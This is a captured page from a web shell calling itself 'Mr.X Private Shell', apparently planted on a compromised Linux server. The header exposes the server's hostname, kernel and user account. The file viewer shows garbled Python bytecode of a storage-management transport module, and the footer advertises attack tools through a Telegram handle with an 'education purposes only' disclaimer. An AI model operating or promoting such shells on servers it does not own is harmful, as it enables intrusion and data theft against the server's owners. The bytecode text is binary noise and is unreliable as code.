Uname: Linux server.digisquadtech.com 4.18.0-553.100.1.el8_10.x86_64 #1 SMP Mon Feb 2 04:13:33 EST 2026 x86_64
User: 1091 (madhavfluid)
Group: 1090 (madhavfluid)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//usr/lib64/python3.6/site-packages///lsm/__pycache__      ( Reset | Go to )
File Name: _transport.cpython-36.pyc
3
.'e @sddlZddlZddlZddlZddlZddlZddlmZmZddlm    Z
ddl m Z ddl mZGdddeZdd    ZGd
d d ejZed krejdS) N)LsmError ErrorNumber)    SocketEOF) DataDecoder) DataEncoderc@s|eZdZdZdZddZddZddZd    d
Ze    d d Z
d dZ ddZ ddZ ddZdddZdddZddZdS)    TransPorta
    Provides wire serialization by using json.  Loosely conforms to json-rpc,
    however a length header was added so that we would have the ability to use
    non sax like json parsers, which are more abundant.

    <Zero padded 10 digit number [1..2**32] for the length followed by
    valid json.

    Notes:
    id field (json-rpc) is present but currently not being used.
    This is available to be expanded on later.
    
cCsX|dkrtdt}x6t||krL|jj|t|}|sBt||7}qW|jdS)z
        Reads l number of bytes before returning.  Will raise a SocketEOF
        if socket returns zero bytes (i.e. socket no longer connected)
        z Trying to read less than 1 byte!zutf-8)
ValueError    bytearraylensZrecv
_SocketEOFdecode)selfldatarr"/usr/lib64/python3.6/_transport.py    _read_all-s zTransPort._read_allcCsP|dkst|dkrtdtjtt||j|}|jjt|jddS)z]
        Sends the json formatted message by pre-appending the length
        first.
        Nr    zMsg argument emptyzutf-8)    r r
strzfillHDR_LENr Zsendallbytesencode)rmsgr rrr    _send_msg?szTransPort._send_msgcCsZy|j|j}|jt|}Wn6tjk
rT}zttjdt|WYdd}~XnX|S)zk
        Reads header first to get the length and then the remaining
        bytes of the message.
        z.Error while reading a message from the plug-inN)    rrintsocketerrorrrTRANSPORT_COMMUNICATIONr)rrrerrr    _recv_msgMs zTransPort._recv_msgcCs
||_dS)N)r )rZsocket_descriptorrrr__init__\szTransPort.__init__c CsyZtjtjtj}tjj|rLtj|tjtjBr>|j    |qXt
t j dn t
t j dWn"tjk
r|t
t jdYnX|S)zE
        Returns a connected socket from the passed in path.
        z-Permissions are incorrect for IPC socket filezPlug-in appears to not existz*Unable to connect to lsmd, daemon started?)rAF_UNIX SOCK_STREAMospathexistsaccessR_OKW_OKZconnectrrZPLUGIN_SOCKET_PERMISSIONZPLUGIN_NOT_EXISTr ZPLUGIN_IPC_FAIL)r(r rrr
get_socket_s  
 zTransPort.get_socketcCs|jjdS)z@
        Closes the transport and the underlying socket
        N)r close)rrrrr.wszTransPort.closecCsdy(|d|d}tj|td}|j|Wn6tjk
r^}zttjdt    |WYdd}~XnXdS)z
        Sends a request given a method and arguments.
        Note: arguments must be in the form that can be automatically
        serialized to json
        d)methodidparams)clsz,Error while sending a message to the plug-inN)
jsondumps _DataEncoderrrr rrr!r)rr0argsrrZserrrsend_req}s zTransPort.send_reqcCs"|j}t|rtj|tdSdS)zG
        Reads a message and returns the parsed version of it.
        )r3N)r#r r4loads _DataDecoder)rrrrrread_reqszTransPort.read_reqcCs(|j|||j\}}|dks$t|S)z;
        Sends a request and waits for a response.
        r/)r8    read_respAssertionError)rr0r7replymsg_idrrrrpcs   z TransPort.rpcNcCs*||||dd}|jtj|tddS)z,
        Used to transmit an error.
        )codemessager)r1r )r3N)rr4r5r6)rr?Z
error_coderrr"rrr
send_errors zTransPort.send_errorr/cCs"||d}|jtj|tddS)z-
        Used to transmit a response
        )r1result)r3N)rr4r5r6)rrDr?rrrr    send_resps
zTransPort.send_respcCsD|j}tj|td}d|kr.|d|dfS|d}tf|dS)N)r3rDr1r )r#r4r9r:r)rrrespr"rrrr<s zTransPort.read_resp)N)r/)__name__
__module__ __qualname____doc__rrrr#r$ staticmethodr-r.r8r;r@rCrEr<rrrrrs          

rc Cst|}|j}zjxV|ddkrh|ddkrP|j|d|dd|ddn|j|d|j}qW|j|dWd|jXdS)    z)
    Test echo server for test case.
    r0doner r1r2    errorcodeerrormsgN)rr;rCrEr.)r Zsrvrrrr_servers 
 rOc@s4eZdZddZddZddZddZd    d
Zd S) _TestTransportcCsFtjtjtj\|_|_t|j|_tj    t
|jfd|_ |j j dS)N)targetr7) rZ
socketpairr%r&cr rclient    threadingZThreadrOserverstart)rrrrsetUps
 z_TestTransport.setUpcCsZddddddg}xD|D]<}|jjd||jj\}}|j|dk|j||kqWdS)    N0 z   z{}:""zSome text messageZDEADBEEFZtestr/)rSr8r<
assertTrue)rZtctr>r?rrr test_simples 
z_TestTransport.test_simplecCsd}d}|jjd||d|jt|jjy"|jjd||d|jjWnBtk
r}z&|j|j|k|j|j|kWYdd}~XnXdS)NzTest error messager/r )rMrN)rSr8Z assertRaisesrr<rZrAr)rZe_msgZe_coder"rrrtest_exceptionss

z_TestTransport.test_exceptionsc    CsxtdddD]}d|}dd|d}tj|td}tjt|tj|}|j    t|dkx|D]}|j
j |qbW|j j \}}|j    ||kqWdS)    Nr    irxZdripr/)r0r1r2)r3)ranger4r5r6stringrr rrrZrRsendrSr<)    rrZpayloadrrZwireir>r?rrr    test_slows 
z_TestTransport.test_slowcCs8|jjdd|jj\}}|j|dk|jjdS)NrL)rSr8r<rZrUjoin)rrFr?rrrtearDownsz_TestTransport.tearDownN)rGrHrIrWr\r]rcrerrrrrPs
        rP__main__)r4rr`r'ZunittestrTZ lsm._commonrrrrZ    lsm._datarr:rr6objectrrOZTestCaserPrGmainrrrr<module>s   >

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL